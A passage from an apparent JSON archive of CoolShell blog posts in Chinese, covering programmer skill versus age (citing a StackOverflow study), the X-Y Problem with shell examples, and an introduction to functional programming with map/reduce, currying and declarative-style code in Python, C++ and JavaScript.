href=\"https://coolshell.cn/articles/9886.html\">二叉树迭代器算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10427.html\">伙伴分配器的一个极简实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-11-13 编程能力与编程年龄.html",
    "content": "<html><body><p>程序员这个职业究竟可以干多少年，在中国这片神奇的土地上，很多人都说只能干到30岁，然后就需要转型，就像《<a href=\"https://coolshell.cn/articles/4990.html\" target=\"_blank\" title=\"程序员技术练级攻略 - 354,806 人阅读\">程序员技术练级攻略</a>》这篇文章很多人回复到这种玩法会玩死人的一样。我在很多面试中，问到应聘者未来的规划都能听到好些应聘都说程序员是个青春饭。因为，大多数程序员都认为，编程这个事只能干到30岁，最多35岁吧。每每我听到这样的言论，都让我感到相当的无语，大家都希望能像《<a href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\" title=\"“21天教你学会C++”\">21天速成C++</a>》那样速成，好多时候超级有想和他们争论的冲动，但后来想想算了，因为<strong>你无法帮助那些只想呆在井底思维封闭而且想走捷径速成的人</strong>。</p>\n<p>今天，我们又来谈这个老话题，因为我看到一篇论文，但是也一定会有很多人都会找出各种理由来论证这篇论文的是错的，无所谓了，我把这篇文章送给那些和我一样准备为技术和编程执着和坚持的人。</p>\n<h4>论文</h4>\n<p>首先，我们先来看一篇论文《<a href=\"http://people.engr.ncsu.edu/ermurph3/papers/msr13.pdf\" target=\"_blank\">Is Programming Knowledge Related to Age?</a>》（PDF链接），这篇论文是两个北卡罗莱纳州立大学计算机科学系的两个人Patrick Morrison 和 Emerson Murphy-Hill 对StackOverflow.com上的用户做了相关的数据挖掘得出来的一些数据。（我们知道StackOverflow.com上的数据是公开的，任何人都可以用来分析和统计，所以这篇论文的真实性是有的）</p>\n<p>数据采样和清洗条件如下：（数据全量是1694981用户，平均年龄30.3岁）</p>\n<ul>\n<li>15-70岁之间的用户（这年龄段的用户被称做“Working age”），当然，有很多用户没有输入年龄，这些用户都被过滤了。</li>\n<li>用户在2012年内都回答过问题。因为StackOverflow在2012年对问题和答案的质量要求得比以前高了一倍，所以更能反映程序员的真实水平。</li>\n<li>Reputation声望在2-100K之间。（注：StackOverflow的用户Reputation是得到社会认可的，在面试和招聘中是硬通货币。比大学的学分更有价值）</li>\n</ul>\n<p>上述的条件一共过滤出84,248名程序员，平均年龄：29.02岁，平均Reputaion在1073.9分。</p>\n<p><span id=\"more-10688\"></span></p>\n<h5>年龄分布图</h5>\n<p>下面我们来看一下他们的年龄分布图：我们可以看到程序员年纪的正态分布（高点在25岁左右，但是中点在29岁左右）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10689\" height=\"512\" src=\"../wp-content/uploads/2013/11/StackOverflow-Analysis-01.jpg\" width=\"578\"/></p>\n<h5>能力和年龄分布图</h5>\n<p>然后，计算每个人每个月的Reputation，这样可以找到这个用户的真正的活跃时间，这样便于计算这个程序员的真实能力。（总声望 / 活跃时间），可以得到他平均每个月得来的Reputation。</p>\n<p>我们来看看程序员的能力和年龄段的分布图：（你可能会大吃一惊）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10690\" height=\"528\" src=\"../wp-content/uploads/2013/11/StackOverflow-Analysis-02.jpg\" width=\"571\"/></p>\n<p>上图中我们可以看到，程序员的能力在从25岁左右开始上升，一直到50岁后才会开始下降。所以说，程序员吃的不是青春饭。只有码农，靠蛮力，用体力而不是用脑力的程序员才是吃青春饭的人。</p>\n<h5>年纪大的人是否跟不上新技术</h5>\n<p>论文的作者分析了Tag，用了最近5年内比较流行的技术Tag，然后用了一套比较严谨的算法来查看那些所谓的“老程序员”是否在新技术上跟上不了，所谓跟不上，也就是这些老的程序员在回答这些新技术上并不活跃。所谓老，就是37岁以上的程序员（就是我现在的年纪）。</p>\n<p>得到了下表：可以看到，老程序员和年轻的程序员对于一些新技术的学习来说也是差不多的，甚至有些项还超过了年轻的程序员。</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-10691\" height=\"232\" src=\"../wp-content/uploads/2013/11/StackOverflow-Analysis-03.jpg\" width=\"771\"/></p>\n<h5 style=\"text-align: left;\">结论</h5>\n<p>论文的结论是：</p>\n<p style=\"padding-left: 30px;\"><strong>1）程序员技术能力上升是可以到50岁或60岁的。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）老程序员在获取新技术上的能力并不比年轻的程序员差。</strong></p>\n<h4 style=\"text-align: left;\">我的一些感受</h4>\n<p style=\"text-align: left;\">最后，我说一说我的一些感受：</p>\n<ul>\n<li>这些年来的对于外企和国内感受—— <strong>国外牛B的IT公司的工程能力并不见得比国内的要强多少，但是国外那些NB的IT公司的架构和设计能力远远超过国内的公司，最可怕的是，那些有超强架构和设计能力的“老程序员们”还战斗在一线，这些战斗在一线的老鸟的能力绝对超过100个普能的新手。</strong></li>\n</ul>\n<ul>\n<li>对年轻程序员的感受——国内新一代的程序员们太浮燥了。<strong>老实说，对于大多数人来说，如果你没有编程到30岁，你还不能成为一个“合格”的程序员</strong>。<span style=\"color: #cc0000;\"><strong>所以，并不是编程编到30岁就玩完了，而是编程编到30岁才刚刚入门。</strong><span style=\"color: #000000;\">这些不合格的程序，整天BS这个不好，那个不好的，而且喜欢速成，好大喜功。</span></span></li>\n</ul>\n<ul>\n<li>我是一个奔四的人了，编程就像登山一样，越往上爬人越少，所以，在我这个年纪还有想法，对编程还有热情的人不多了，基本上都是转Manager了。<span style=\"color: #cc0000;\"><strong>其实，什么职位，Title都是虚的，公司没了什么都没了，只有技术才是硬通货。而且，越是这个年纪还在玩编程玩技术的人，其实其经验和能力都是比较强的，都是中坚力量，如果还有其它这个年纪和我一样的人，求交往</strong></span>。</li>\n</ul>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10688.html\">编程能力与编程年龄</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-12-16 X-Y Problem.html",
    "content": "<html><body><p></p>\n<h4><img alt=\"\" class=\"alignright size-medium wp-image-10809\" height=\"300\" src=\"../wp-content/uploads/2013/12/x-y.problem-231x300.jpg\" width=\"231\"/>X-Y Problem</h4>\n<p>对于X-Y Problem的意思如下：</p>\n<p>1）有人想解决问题X<br/>\n2）他觉得Y可能是解决X问题的方法<br/>\n3）但是他不知道Y应该怎么做<br/>\n4）于是他去问别人Y应该怎么做？</p>\n<p>简而言之，<strong>没有去问怎么解决问题X，而是去问解决方案Y应该怎么去实现和操作</strong>。于是乎：</p>\n<p>1）热心的人们帮助并告诉这个人Y应该怎么搞，但是大家都觉得Y这个方案有点怪异。<br/>\n2）在经过大量地讨论和浪费了大量的时间后，热心的人终于明白了原始的问题X是怎么一回事。<br/>\n3）于是大家都发现，Y根本就不是用来解决X的合适的方案。</p>\n<p>X-Y Problem最大的严重的问题就是：<strong>在一个根本错误的方向上浪费他人大量的时间和精力</strong>！</p>\n<h4>示例</h4>\n<p>举个两个例子：</p>\n<blockquote><p>Q) 我怎么用Shell取得一个字符串的后3位字符？<br/>\nA1) 如果这个字符的变量是$foo，你可以这样来 echo ${foo:-3}<br/>\nA2) 为什么你要取后3位？你想干什么？<br/>\nQ) 其实我就想取文件的扩展名<br/>\nA1) 我靠，原来你要干这事，那我的方法不对，文件的扩展名并不保证一定有3位啊。<br/>\nA1) 如果你的文件必然有扩展名的话，你可以这来样来：echo ${foo##*.}</p></blockquote>\n<p><span id=\"more-10804\"></span></p>\n<p>再来一个示例：</p>\n<blockquote><p>Q）问一下大家，我如何得到一个文件的大小<br/>\nA1)  size = <code class=\"EnlighterJSRAW\">ls -l $file  | awk '{print $5}'</code><br/>\nQ) 哦，要是这个文件名是个目录呢？<br/>\nA2) 用du吧<br/>\nA3) 不好意思，你到底是要文件的大小还是目录的大小？你到底要干什么？<br/>\nQ)  我想把一个目录下的每个文件的每个块（第一个块有512个字节）拿出来做md5，并且计算他们的大小 ……<br/>\nA1) 哦，你可以使用dd吧。<br/>\nA2) dd不行吧。<br/>\nA3) 你用md5来计算这些块的目的是什么？你究竟想干什么啊？<br/>\nQ) 其实，我想写一个网盘，对于小文件就直接传输了，对于大文件我想分块做增量同步。<br/>\nA2) 用rsync啊，你妹！</p></blockquote>\n<p><a href=\"http://www.perlmonks.org/index.pl?node_id=542341\" target=\"_blank\">这里有篇文章</a>说明了X-Y Problem的各种案例说明，我从其中摘出三个来让大家看看：</p>\n<blockquote><p>你试图做X，并想到了用Y方案。所以你去问别人Y，但根本不提X。于是，你可以会错过本来可能有更好更适合的方案，除非你告诉大家X是什么。</p>\n<p>— <i>from <a href=\"http://www.perlmonks.org/index.pl?node_id=430320\">Re: How do I keep the command line from eating the backslashes?</a> by <a href=\"http://www.perlmonks.org/index.pl?node_id=163683\">revdiablo</a></i></p></blockquote>\n<blockquote><p>有些人问怎么做Y，但其它他想做的是X。他问怎么做Y是因为他觉得Y是最好搞定X的方法。 于是大家不断地回答“试试这个，试试那个”来帮助他，而他总是在说“这个有问题，那个有问题，因为……”。基本不同的情况，其它的方案可能会更好。</p>\n<p>— <i>from <a href=\"http://www.perlmonks.org/index.pl?node_id=327963\">Re: Re: Re: Re: regex to validate e-mail addresses and phone numbers</a> by <a href=\"http://www.perlmonks.org/index.pl?node_id=180961\">Limbic~Region</a></i></p></blockquote>\n<blockquote><p>X-Y Problem又叫“过早下结论”：提问者其实并不非常清楚想要解决的X问题，他猜测用Y可以搞定，于是他问大家如何实现Y。</p>\n<p>— <i>from <a href=\"http://groups.google.com/groups?hl=en&amp;selm=Pine.GHP.4.21.0009061210570.8800-100000@hpplus03.cern.ch\">&lt;Pine.GHP.4.21.0009061210570.8800-100000@hpplus03.cern.ch&gt;</a> by Alan J. Flavell</i></p></blockquote>\n<p>其实这个问题在我之前的《<a href=\"https://coolshell.cn/articles/3713.html\" target=\"_blank\" title=\"你会问问题吗？\">你会问问题吗</a>》里提到的那篇How To Ask Questions the Smart Way中的提到过，你可以<a href=\"http://www.beiww.com/doc/oss/smart-questions.html#id265951\" target=\"_blank\">移步去看一下</a>。</p>\n<p>所以，我们在寻求别人帮助的时候，最好把我们想解决的问题和整个事情的来龙去脉说清楚。</p>\n<h4>一些变种</h4>\n<p>我们不要以为X-Y Problem就像上面那样的简单，我们不会出现，其实我们生活的这个世界有有各种X-Y Problem的变种。下面我个人觉得非常像XY Problem的总是：</p>\n<p style=\"padding-left: 30px;\">其一、大多数人有时候，非常容易把手段当目的，他们会用自己所喜欢的技术和方法来反推用户的需求，于是很有可能就会出现X-Y Problem – 也许解决用户需求最适合的技术方案是PC，但是我们要让他们用手机。</p>\n<p style=\"padding-left: 30px;\">其二、产品经理有时候并不清楚他想解决的用户需求是什么，于是他觉得可能开发Y的功能能够满足用户，于是他提出了Y的需求让技术人员去做，但那根本不是解决X问题的最佳方案。</p>\n<p style=\"padding-left: 30px;\">其三、因为公司或部门的一些战略安排，业务部门设计了相关的业务规划，然后这些业务规划更多的是公司想要的Y，而不是解决用户的X问题。</p>\n<p style=\"padding-left: 30px;\">其四、对于个人的职业发展，X是成长为有更强的技能和能力，这个可以拥有比别人更强的竞争力，从而可以有更好的报酬，但确走向了Y：全身心地追逐KPI。</p>\n<p style=\"padding-left: 30px;\">其五、本来我们想达成的X是做出更好和更有价值的产品，但最终走到了Y：通过各种手段提升安装量，点击量，在线量，用户量来衡量。</p>\n<p style=\"padding-left: 30px;\">其六、很多团队Leader都喜欢制造信息不平等，并不告诉团队某个事情的来由，掩盖X，而直接把要做的Y告诉团队，导致团队并不真正地理解，而产生了很多时间和经历的浪费。</p>\n<p>所有的这些，在我心中都是X-Y Problem的变种，这是不是一种刻舟求剑的表现？</p>\n<h4>参考</h4>\n<ul>\n<li><a href=\"http://meta.stackoverflow.com/questions/66377/what-is-the-xy-problem\" target=\"_blank\">StackOverflow: What is XY Problem?</a></li>\n<li><a href=\"http://www.perlmonks.org/?node_id=542341\" target=\"_blank\">PerlMonks: XY Problem</a></li>\n<li><a href=\"http://mywiki.wooledge.org/XyProblem\" target=\"_blank\">Greg’s Wiki</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3713.html\"><img alt=\"你会问问题吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3713.html\">你会问问题吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10804.html\">X-Y Problem</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-12-27 函数式编程.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-10861\" height=\"300\" src=\"../wp-content/uploads/2013/12/yoda-lambda-204x300.png\" width=\"204\"/>当我们说起函数式编程来说，我们会看到如下函数式编程的长相：</p>\n<ul>\n<li>函数式编程的三大特性：\n<ul>\n<li><strong>immutable data 不可变数据</strong>：像Clojure一样，默认上变量是不可变的，如果你要改变变量，你需要把变量copy出去修改。这样一来，可以让你的程序少很多Bug。因为，程序中的状态不好维护，在并发的时候更不好维护。（你可以试想一下如果你的程序有个复杂的状态，当以后别人改你代码的时候，是很容易出bug的，在并行中这样的问题就更多了）</li>\n<li><strong>first class functions</strong>：这个技术可以让你的函数就像变量一样来使用。也就是说，你的函数可以像变量一样被创建，修改，并当成变量一样传递，返回或是在函数中嵌套函数。这个有点像Javascript的Prototype（参看<a href=\"https://coolshell.cn/articles/6668.html\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"再谈javascript面向对象编程\">Javascript的面向对象编程</a>）</li>\n<li><strong>尾递归优化</strong>：我们知道递归的害处，那就是如果递归很深的话，stack受不了，并会导致性能大幅度下降。所以，我们使用尾递归优化技术——每次递归时都会重用stack，这样一来能够提升性能，当然，这需要语言或编译器的支持。Python就不支持。</li>\n</ul>\n</li>\n</ul>\n<ul>\n<li>函数式编程的几个技术\n<ul>\n<li><strong>map &amp; reduce</strong> ：这个技术不用多说了，函数式编程最常见的技术就是对一个集合做Map和Reduce操作。这比起过程式的语言来说，在代码上要更容易阅读。（传统过程式的语言需要使用for/while循环，然后在各种变量中把数据倒过来倒过去的）这个很像C++中的STL中的foreach，find_if，count_if之流的函数的玩法。</li>\n<li><strong>pipeline</strong>：这个技术的意思是，把函数实例成一个一个的action，然后，把一组action放到一个数组或是列表中，然后把数据传给这个action list，数据就像一个pipeline一样顺序地被各个函数所操作，最终得到我们想要的结果。</li>\n<li><strong>recursing 递归</strong> ：递归最大的好处就简化代码，他可以把一个复杂的问题用很简单的代码描述出来。注意：递归的精髓是描述问题，而这正是函数式编程的精髓。</li>\n<li><strong>currying</strong>：把一个函数的多个参数分解成多个函数， 然后把函数多层封装起来，每层函数都返回一个函数去接收下一个参数这样，可以简化函数的多个参数。在C++中，这个很像STL中的bind_1st或是bind2nd。</li>\n<li><strong>higher order function 高阶函数</strong>：所谓高阶函数就是函数当参数，把传入的函数做一个封装，然后返回这个封装函数。现象上就是函数传进传出，就像面向对象对象满天飞一样。</li>\n</ul>\n</li>\n</ul>\n<p><span id=\"more-10822\"></span></p>\n<ul>\n<li>还有函数式的一些好处\n<ul>\n<li><strong>parallelization 并行：</strong>所谓并行的意思就是在并行环境下，各个线程之间不需要同步或互斥。</li>\n<li><strong>lazy evaluation 惰性求值</strong>：这个需要编译器的支持。表达式不在它被绑定到变量之后就立即求值，而是在该值被取用的时候求值，也就是说，语句如<i>x:=expression;</i> (把一个表达式的结果赋值给一个变量)明显的调用这个表达式被计算并把结果放置到 <i>x</i> 中，但是先不管实际在 <i>x</i> 中的是什么，直到通过后面的表达式中到 <i>x</i> 的引用而有了对它的值的需求的时候，而后面表达式自身的求值也可以被延迟，最终为了生成让外界看到的某个符号而计算这个快速增长的依赖树。</li>\n<li><strong>determinism 确定性</strong>：所谓确定性的意思就是像数学那样 f(x) = y ，这个函数无论在什么场景下，都会得到同样的结果，这个我们称之为函数的确定性。而不是像程序中的很多函数那样，同一个参数，却会在不同的场景下计算出不同的结果。所谓不同的场景的意思就是我们的函数会根据一些运行中的状态信息的不同而发生变化。</li>\n</ul>\n</li>\n</ul>\n<p>上面的那些东西太抽象了，还是让我们来循序渐近地看一些例子吧。</p>\n<p>我们先用一个最简单的例子来说明一下什么是函数式编程。</p>\n<p>先看一个非函数式的例子：</p>\n<pre class=\"EnlighterJSRAW\">int cnt;\nvoid increment(){\n    cnt++;\n}</pre>\n<p> </p>\n<p>那么，函数式的应该怎么写呢？</p>\n<pre class=\"EnlighterJSRAW\">int increment(int cnt){\n    return cnt+1;\n}</pre>\n<p>你可能会觉得这个例子太普通了。是的，这个例子就是函数式编程的准则：<strong>不依赖于外部的数据，而且也不改变外部数据的值，而是返回一个新的值给你</strong>。</p>\n<p>我们再来看一个简单例子：</p>\n<pre class=\"EnlighterJSRAW\">def inc(x):\n    def incx(y):\n        return x+y\n    return incx\n\ninc2 = inc(2)\ninc5 = inc(5)\n\nprint inc2(5) # 输出 7\nprint inc5(5) # 输出 10</pre>\n<p>我们可以看到上面那个例子inc()函数返回了另一个函数incx()，于是我们可以用inc()函数来构造各种版本的inc函数，比如：inc2()和inc5()。这个技术其实就是上面所说的Currying技术。从这个技术上，你可能体会到函数式编程的理念：<strong>把函数当成变量来用，关注于描述问题而不是怎么实现</strong>，这样可以让代码更易读。</p>\n<h4>Map &amp; Reduce</h4>\n<p>在函数式编程中，我们不应该用循环迭代的方式，我们应该用更为高级的方法，如下所示的Python代码</p>\n<pre class=\"EnlighterJSRAW\">name_len = map(len, [\"hao\", \"chen\", \"coolshell\"])\nprint name_len\n# 输出 [3, 4, 9]</pre>\n<p>你可以看到这样的代码很易读，因为，<strong>这样的代码是在描述要干什么，而不是怎么干</strong>。</p>\n<p>我们再来看一个Python代码的例子：</p>\n<pre class=\"EnlighterJSRAW\">def toUpper(item):\nreturn item.upper()\n\nupper_name = map(toUpper, [\"hao\", \"chen\", \"coolshell\"])\nprint upper_name\n# 输出 ['HAO', 'CHEN', 'COOLSHELL']</pre>\n<p>顺便说一下，上面的例子个是不是和我们的STL的transform有些像？</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;iostream&gt;\n#include &lt;algorithm&gt;\n#include &lt;string&gt;\nusing namespace std;\n\nint main() {\n    string s=\"hello\";\n    string out;\n    transform(s.begin(), s.end(), back_inserter(out), ::toupper);\n    cout &lt;&lt; out &lt;&lt; endl;\n    // 输出：HELLO\n}</pre>\n<p>在上面Python的那个例子中我们可以看到，我们写义了一个函数toUpper，这个函数没有改变传进来的值，只是把传进来的值做个简单的操作，然后返回。然后，我们把其用在map函数中，就可以很清楚地描述出我们想要干什么。而不会去理解一个在循环中的怎么实现的代码，最终在读了很多循环的逻辑后才发现原来是这个或那个意思。 下面，我们看看描述实现方法的过程式编程是怎么玩的（看上去是不是不如函数式的清晰？）：</p>\n<pre class=\"EnlighterJSRAW\">upname =['HAO', 'CHEN', 'COOLSHELL']\nlowname =[]\nfor i in range(len(upname)):\nlowname.append( upname[i].lower() )</pre>\n<p>对于map我们别忘了lambda表达式：你可以简单地理解为这是一个inline的匿名函数。下面的lambda表达式相当于：def func(x): return x*x</p>\n<pre class=\"EnlighterJSRAW\">squares = map(lambda x: x * x, range(9))\nprint squares\n# 输出 [0, 1, 4, 9, 16, 25, 36, 49, 64]</pre>\n<p>我们再来看看reduce怎么玩？（下面的lambda表达式中有两个参数，也就是说每次从列表中取两个值，计算结果后把这个值再放回去，下面的表达式相当于：<code>((((1+2)+3)+4)+5) ）</code></p>\n<pre class=\"EnlighterJSRAW\">print reduce(lambda x, y: x+y, [1, 2, 3, 4, 5])\n# 输出 15</pre>\n<p>Python中的除了map和reduce外，还有一些别的如filter, find, all, any的函数做辅助（其它函数式的语言也有），可以让你的代码更简洁，更易读。 我们再来看一个比较复杂的例子：</p>\n<pre class=\"EnlighterJSRAW\"># 计算数组中正数的平均值\",\nnum =[2, -5, 9, 7, -2, 5, 3, 1, 0, -3, 8]\npositive_num_cnt = 0\npositive_num_sum = 0\nfor i in range(len(num)):\n    if num[i] &gt; 0:\n        positive_num_cnt += 1\n        positive_num_sum += num[i]\n\nif positive_num_cnt &gt; 0:\n    average = positive_num_sum / positive_num_cnt\n\nprint average\n# 输出 5</pre>\n<p>如果用函数式编程，这个例子可以写成这样：</p>\n<pre class=\"EnlighterJSRAW\">positive_num = filter(lambda x: x&gt;0, num)\naverage = reduce(lambda x,y: x+y, positive_num) / len( positive_num )</pre>\n<p>C++11玩的法：</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;iostream&gt;\n#include &lt;algorithm&gt;\n#include &lt;numeric&gt;\n#include &lt;string&gt;\n#include &lt;vector&gt;\nusing namespace std;\n\nvector num {2, -5, 9, 7, -2, 5, 3, 1, 0, -3, 8};\nvector p_num;\ncopy_if(num.begin(), num.end(), back_inserter(p_num), [](int i){ return (i&gt;0);} );\nint average = accumulate(p_num.begin(), p_num.end(), 0) / p_num.size();\ncout &lt;&lt; \"averge: \" &lt;&lt; average &lt;&lt; endl;</pre>\n<p>我们可以看到，函数式编程有如下好处：</p>\n<p style=\"padding-left: 30px;\">1）代码更简单了。<br/>\n2）数据集，操作，返回值都放到了一起。<br/>\n3）你在读代码的时候，没有了循环体，于是就可以少了些临时变量，以及变量倒来倒去逻辑。<br/>\n4）你的代码变成了在描述你要干什么，而不是怎么去干。</p>\n<p>最后，我们来看一下Map/Reduce这样的函数是怎么来实现的（下面是Javascript代码）</p>\n<pre class=\"EnlighterJSRAW\">//map函数\nvar map = function (mappingFunction, list) {\n    var result = [];\n    forEach(list, function (item) {\n        result.push(mappingFunction(item));\n    });\n    return result;\n};</pre>\n<p>下面是reduce函数的javascript实现（谢谢 <a href=\"http://weibo.com/u/1772898707\" rel=\"noopener noreferrer\" target=\"_blank\">@下雨在家</a> 修正的我原来的简单版本）</p>\n<pre class=\"EnlighterJSRAW\">//reduce函数\nfunction reduce(actionFunction, list, initial){\n    var accumulate;\n    var temp;\n    if(initial){\n        accumulate = initial;\n    }else{\n        accumulate = list.shfit();\n    }\n    temp = list.shift();\n    while(temp){\n        accumulate = actionFunction(accumulate,temp);\n        temp = list.shift();\n    }\n    return accumulate;\n};</pre>\n<h4>Declarative Programming vs Imperative Programming</h4>\n<p>前面提到过多次的函数式编程关注的是：describe what to do, rather than how to do it. 于是，我们把以前的过程式的编程范式叫做 <a href=\"http://en.wikipedia.org/wiki/Imperative_programming\" rel=\"noopener noreferrer\" target=\"_blank\">Imperative Programming</a> – 指令式编程，而把函数式的这种范式叫做 <a href=\"http://en.wikipedia.org/wiki/Declarative_programming\" rel=\"noopener noreferrer\" target=\"_blank\">Declarative Programming</a> – 声明式编程。</p>\n<p>下面我们看一下相关的示例（本示例来自<a href=\"http://maryrosecook.com/post/a-practical-introduction-to-functional-programming\" rel=\"noopener noreferrer\" target=\"_blank\">这篇文章</a> ）。</p>\n<p>比如，我们有3辆车比赛，简单起见，我们分别给这3辆车有70%的概率可以往前走一步，一共有5次机会，我们打出每一次这3辆车的前行状态。</p>\n<p>对于Imperative Programming来说，代码如下（Python）：</p>\n<pre class=\"EnlighterJSRAW\">from random import random\n\ntime = 5\ncar_positions = [1, 1, 1]\n\nwhile time:\n    # decrease time\n    time -= 1\n\n    print ''\n    for i in range(len(car_positions)):\n        # move car\n        if random() &gt; 0.3:\n            car_positions[i] += 1\n\n        # draw car\n        print '-' * car_positions[i]</pre>\n<p>我们可以把这个两重循环变成一些函数模块，这样有利于我们更容易地阅读代码：</p>\n<pre class=\"EnlighterJSRAW\">from random import random\ndef move_cars():\n    for i, _ in enumerate(car_positions):\n        if random() &gt; 0.3:\n            car_positions[i] += 1\ndef draw_car(car_position):\n    print '-' * car_position\ndef run_step_of_race():\n    global time\n    time -= 1\n    move_cars()\ndef draw():\n    print ''\n    for car_position in car_positions:\n        draw_car(car_position)\ntime = 